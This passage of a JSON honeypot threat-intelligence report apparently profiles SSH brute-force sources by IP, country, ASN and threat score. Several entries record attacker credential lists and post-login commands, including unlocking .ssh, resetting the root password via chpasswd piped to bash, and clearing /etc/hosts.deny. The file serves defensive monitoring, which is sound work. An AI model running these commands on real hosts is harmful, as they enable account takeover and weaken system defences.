        "Suricata": 1
      }
    },
    "83.229.84.14": {
      "attack_count": 2,
      "first_seen": "2026-04-30T08:26:19.353Z",
      "last_seen": "2026-04-30T08:26:49.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 204548,
      "as_org": "Kamatera Inc",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:26:19.353000+00:00",
        "last_seen_30d": "2026-04-30T08:27:57.814000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.231.89.215": {
      "attack_count": 2,
      "first_seen": "2026-04-18T12:47:03.642Z",
      "last_seen": "2026-04-18T12:47:13.974Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 89.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T08:51:49+00:00",
        "last_seen_30d": "2026-04-30T22:19:25.987000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 32,
        "Cowrie": 2,
        "Ciscoasa": 1,
        "Dionaea": 1
      }
    },
    "94.70.136.88": {
      "attack_count": 2,
      "first_seen": "2026-04-18T03:04:46.750Z",
      "last_seen": "2026-04-18T03:05:18.228Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Athens",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T03:04:46.750000+00:00",
        "last_seen_30d": "2026-04-18T03:06:21.347000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.56.50.151": {
      "attack_count": 2,
      "first_seen": "2026-04-30T15:18:58.484Z",
      "last_seen": "2026-04-30T15:19:11.627Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:18:58.484000+00:00",
        "last_seen_30d": "2026-04-30T15:20:14.277000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "80.94.92.186": {
      "attack_count": 2058,
      "first_seen": "2026-04-13T01:37:16.058Z",
      "last_seen": "2026-04-29T22:36:17.232Z",
      "sessions": 405,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana",
        "ubuntu",
        "lighthouse",
        "latitude",
        "mapr",
        "solv",
        "eth",
        "ethereum",
        "grafana",
        "jupyter",
        "minima",
        "node",
        "solr",
        "validator"
      ],
      "passwords_attempted": [
        "sol",
        "123456",
        "12345678",
        "solana",
        "ubuntu",
        "123",
        "1234",
        "fuckyou",
        "jito",
        "validator",
        "!QAZ2wsx",
        "1",
        "1qaz2wsx",
        "eth",
        "ethereum",
        "grafana",
        "jupyter",
        "latitude",
        "lighthouse",
        "lighthouse123"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3085,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T01:29:43.570000+00:00",
        "last_seen_30d": "2026-04-29T22:37:21.550000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2058,
        "Suricata": 1027
      }
    },
    "41.249.60.105": {
      "attack_count": 811,
      "first_seen": "2026-04-03T00:53:11.669Z",
      "last_seen": "2026-04-03T09:16:14.026Z",
      "sessions": 271,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1441,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T00:53:11.669000+00:00",
        "last_seen_30d": "2026-04-03T09:17:21.570000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 811,
        "Suricata": 630
      }
    },
    "101.32.128.193": {
      "attack_count": 692,
      "first_seen": "2026-04-02T08:22:09.269Z",
      "last_seen": "2026-04-06T20:49:34.028Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "ubuntu",
        "coco",
        "dev",
        "odoo",
        "postgres",
        "user",
        "ali",
        "amule",
        "bart",
        "bot",
        "carlos",
        "claude",
        "elasticsearch",
        "ftpuser",
        "mpi",
        "mytest",
        "opuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx!@#",
        "111222",
        "123456789",
        "123456789/*",
        "147852",
        "1qa2ws3ed",
        "1qwaszx",
        "252525",
        "3edc4rfv.",
        "A123123A",
        "AAzz123",
        "Abc123123!",
        "Ali04!",
        "BBbb000",
        "Bot18",
        "China123",
        "Claude01!",
        "Ftpuser07"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"coco\\nCiyzpY6xe5Jj\\nCiyzpY6xe5Jj\\n\"|passwd",
        "echo \"pass\\n1vEGWA9DDKLD\\n1vEGWA9DDKLD\\n\"|passwd",
        "echo \"root:Gv4q4xsYzcUB\"|chpasswd|bash",
        "echo \"root:NSC7fEWScZoo\"|chpasswd|bash",
        "echo \"root:ttH8Z2f3N4EG\"|chpasswd|bash",
        "echo -e \"coco\\nCiyzpY6xe5Jj\\nCiyzpY6xe5Jj\"|passwd|bash",
        "echo -e \"pass\\n1vEGWA9DDKLD\\n1vEGWA9DDKLD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 883,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:22:09.269000+00:00",
        "last_seen_30d": "2026-04-06T20:50:43.216000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 692,
        "Suricata": 191
      }
    },
    "66.181.171.136": {
      "attack_count": 663,
      "first_seen": "2026-04-20T10:13:47.931Z",
      "last_seen": "2026-04-20T11:25:45.883Z",
      "sessions": 131,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "app",
        "ftpuser",
        "docker",
        "es",
        "flask",
        "hadoop",
        "nginx",
        "postgres",
        "user",
        "admin",
        "dolphinscheduler",
        "elasticsearch",
        "ftp",
        "git",
        "gitlab",
        "gpadmin",
        "guest",
        "oscar"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "password",
        "!Q2w3e4r",
        "!QAZ@WSX",
        "12345678",
        "123qwe",
        "1qazXSW@",
        "QQ123456",
        "aB123456",
        "admin",
        "docker123",
        "hadoop123",
        "plexserver",
        "1",
        "111111",
        "1234",
        "12345",
        "1Q2w3e4r"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Mongolia",
      "country_code": "MN",
      "city": "Ulan Bator",
      "asn": 17882,
      "as_org": "UNIVISION LLC",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1015,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T17:33:10.078000+00:00",
        "last_seen_30d": "2026-04-20T11:32:37.038000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 663,
        "Suricata": 352
      }
    },
    "176.53.96.10": {
      "attack_count": 612,
      "first_seen": "2026-04-25T22:56:53.801Z",
      "last_seen": "2026-04-26T03:55:38.437Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "test",
        "sammy",
        "bot",
        "icp",
        "ubuntu",
        "ali",
        "ammar",
        "ansible",
        "backend",
        "claude",
        "csuser",
        "devops",
        "fivem",
        "ftpuser",
        "mehrdad",
        "myuser",
        "n8n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "123qwe",
        "1qaz@WSX",
        "202500",
        "235678",
        "@dm1n!",
        "A@ditzu123",
        "AA123456-",
        "Aa112211.",
        "Aa@123456.",
        "Bot10!",
        "CCaa123",
        "India@2025",
        "Joysuch@Locate2020",
        "N8n3",
        "P@ssw0RD",
        "Qwer2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"icp\\nZM0Xu4fI6lan\\nZM0Xu4fI6lan\\n\"|passwd",
        "echo \"random\\n99SEJvUN8XUC\\n99SEJvUN8XUC\\n\"|passwd",
        "echo \"root:6zTp8U0uoQUL\"|chpasswd|bash",
        "echo \"root:P1AvGmw3hv9H\"|chpasswd|bash",
        "echo \"root:lGfJnquGiiAJ\"|chpasswd|bash",
        "echo -e \"icp\\nZM0Xu4fI6lan\\nZM0Xu4fI6lan\"|passwd|bash",
        "echo -e \"random\\n99SEJvUN8XUC\\n99SEJvUN8XUC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 42926,
      "as_org": "Radore Veri Merkezi Hizmetleri A.S.",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 752,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T22:56:53.801000+00:00",
        "last_seen_30d": "2026-04-26T03:56:44.821000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 612,
        "Suricata": 140
      }
    },
    "147.50.231.135": {
      "attack_count": 492,
      "first_seen": "2026-04-12T04:18:03.159Z",
      "last_seen": "2026-04-21T13:33:29.416Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "blog",
        "bot",
        "dev",
        "frappe",
        "odoo",
        "test",
        "user",
        "user03",
        "aj",
        "deelip",
        "n",
        "postgres",
        "sammy",
        "sara",
        "shop",
        "testftp1",
        "walter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "123P@ssword",
        "123asdZXC",
        "12qwer",
        "1Qwerty",
        "1qaz2wsx",
        "1qaz3edc",
        "28092026",
        "44332211",
        "@Aa123456",
        "Abcd1!@",
        "Admin1234#",
        "Bot$",
        "Dev02!",
        "Dev23",
        "Odoo18",
        "Odoo2026!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nExV9NTCZfOZr\\nExV9NTCZfOZr\\n\"|passwd",
        "echo \"frappe2026!\\ncS01ot5v0ICP\\ncS01ot5v0ICP\\n\"|passwd",
        "echo \"root:VSoWzcchKabS\"|chpasswd|bash",
        "echo -e \"123456\\nExV9NTCZfOZr\\nExV9NTCZfOZr\"|passwd|bash",
        "echo -e \"frappe2026!\\ncS01ot5v0ICP\\ncS01ot5v0ICP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 9891,
      "as_org": "CS LOXINFO Public Company Limited.",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 628,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T04:18:03.159000+00:00",
        "last_seen_30d": "2026-04-21T13:34:33.290000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 492,
        "Suricata": 136
      }
    },
    "202.4.106.201": {
      "attack_count": 480,
      "first_seen": "2026-04-04T18:17:12.232Z",
      "last_seen": "2026-04-26T16:49:25.951Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "deploy",
        "odoo",
        "postgres",
        "bart",
        "claude",
        "coco",
        "dev",
        "elasticsearch",
        "frappe",
        "git",
        "mailtest",
        "minecraft1",
        "mpi",
        "mytest",
        "opuser",
        "oracle"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz123",
        "0606060",
        "111222",
        "123456",
        "123456789",
        "1414141",
        "1QWERT6",
        "1qazxsw",
        "252525",
        "8",
        "@dm1n",
        "A123456789b",
        "AAxx111",
        "BBbb000",
        "China123",
        "Claude01!",
        "Hh123",
        "Odoo2025!@#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"frappe05\\n3RUKpuDUmFC4\\n3RUKpuDUmFC4\\n\"|passwd",
        "echo \"root:UAORvtwwCW1M\"|chpasswd|bash",
        "echo -e \"frappe05\\n3RUKpuDUmFC4\\n3RUKpuDUmFC4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 23956,
      "as_org": "AmberIT Limited",
      "threat_score": 51.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 645,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:17:12.232000+00:00",
        "last_seen_30d": "2026-04-26T16:50:33.683000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 480,
        "Suricata": 165
      }
    },
    "103.183.74.205": {
      "attack_count": 433,
      "first_seen": "2026-04-09T03:34:36.225Z",
      "last_seen": "2026-04-15T23:59:37.442Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "farm",
        "postgres",
        "admin",
        "blog",
        "dev",
        "front-user",
        "minecraft",
        "odoo",
        "odoo2",
        "server",
        "user",
        "user001"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12",
        "123",
        "123qwe!@#",
        "1qaz2wsx",
        "@DM1N",
        "Dev23",
        "Odoo18",
        "P@ssw0rd123!",
        "P@ssw2rd",
        "Pa$$w0rd12345",
        "Qwerty123456_",
        "Root12345",
        "Root17!",
        "Zz123123",
        "a1234567o",
        "aaQQ000",
        "abc123#@!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"farm\\nslTJ7ThAEHeG\\nslTJ7ThAEHeG\\n\"|passwd",
        "echo \"root:3PKB1di9S2vk\"|chpasswd|bash",
        "echo \"root:ElPcg6nJaMJS\"|chpasswd|bash",
        "echo \"root:j1J6jq3fgVwP\"|chpasswd|bash",
        "echo -e \"farm\\nslTJ7ThAEHeG\\nslTJ7ThAEHeG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T03:34:36.225000+00:00",
        "last_seen_30d": "2026-04-16T00:00:43.788000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 433,
        "Suricata": 91
      }
    },
    "172.174.223.102": {
      "attack_count": 421,
      "first_seen": "2026-04-06T13:51:36.549Z",
      "last_seen": "2026-04-06T19:18:29.383Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234567",
        "!QAZ2wsx",
        "(public key)",
        "1",
        "1111",
        "111111",
        "12",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456789",
        "1234567890",
        "1234qwer",
        "123qwe",
        "1q2w3e4r",
        "1qaz!QAZ",
        "1qaz2wsx",
        "1qaz@WSX",
        "4$RFV"
      ],
      "commands_executed": [
        "hostname"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 649,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T13:29:15.704000+00:00",
        "last_seen_30d": "2026-04-06T19:19:32.062000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 421,
        "Suricata": 228
      }
    },
    "38.250.161.250": {
      "attack_count": 399,
      "first_seen": "2026-04-15T20:58:20.068Z",
      "last_seen": "2026-04-15T21:40:45.314Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "mohit",
        "user",
        "ali",
        "clamav",
        "frappe",
        "tempuser",
        "teste",
        "ubuntu",
        "xxx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "121212",
        "1234.qwe",
        "123456",
        "12345687",
        "159357qaz",
        "1q2w3e4r5t",
        "3edc4RFV",
        "ASDF!!",
        "Aa112211.",
        "Ali14!",
        "Steam08!",
        "ZAQ!2wsx2025@#",
        "aa@147258",
        "abc123",
        "asdfghjk",
        "iwYpKi9&oE36.923967E-3103Xy",
        "lol"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Steam08!\\nbEkMzNrpawdx\\nbEkMzNrpawdx\\n\"|passwd",
        "echo \"mohit@123\\nt0NUlsHGeOBz\\nt0NUlsHGeOBz\\n\"|passwd",
        "echo \"root:P2SPDCEu14Bd\"|chpasswd|bash",
        "echo \"root:yOR1k3as3hm5\"|chpasswd|bash",
        "echo -e \"Steam08!\\nbEkMzNrpawdx\\nbEkMzNrpawdx\"|passwd|bash",
        "echo -e \"mohit@123\\nt0NUlsHGeOBz\\nt0NUlsHGeOBz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 3132,
      "as_org": "Red Cientifica Peruana",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 472,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T20:58:20.068000+00:00",
        "last_seen_30d": "2026-04-15T21:41:50.677000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 73
      }
    },
    "173.212.238.152": {
      "attack_count": 317,
      "first_seen": "2026-04-14T00:33:57.690Z",
      "last_seen": "2026-04-18T01:14:05.455Z",
      "sessions": 28,
      "ports": [],
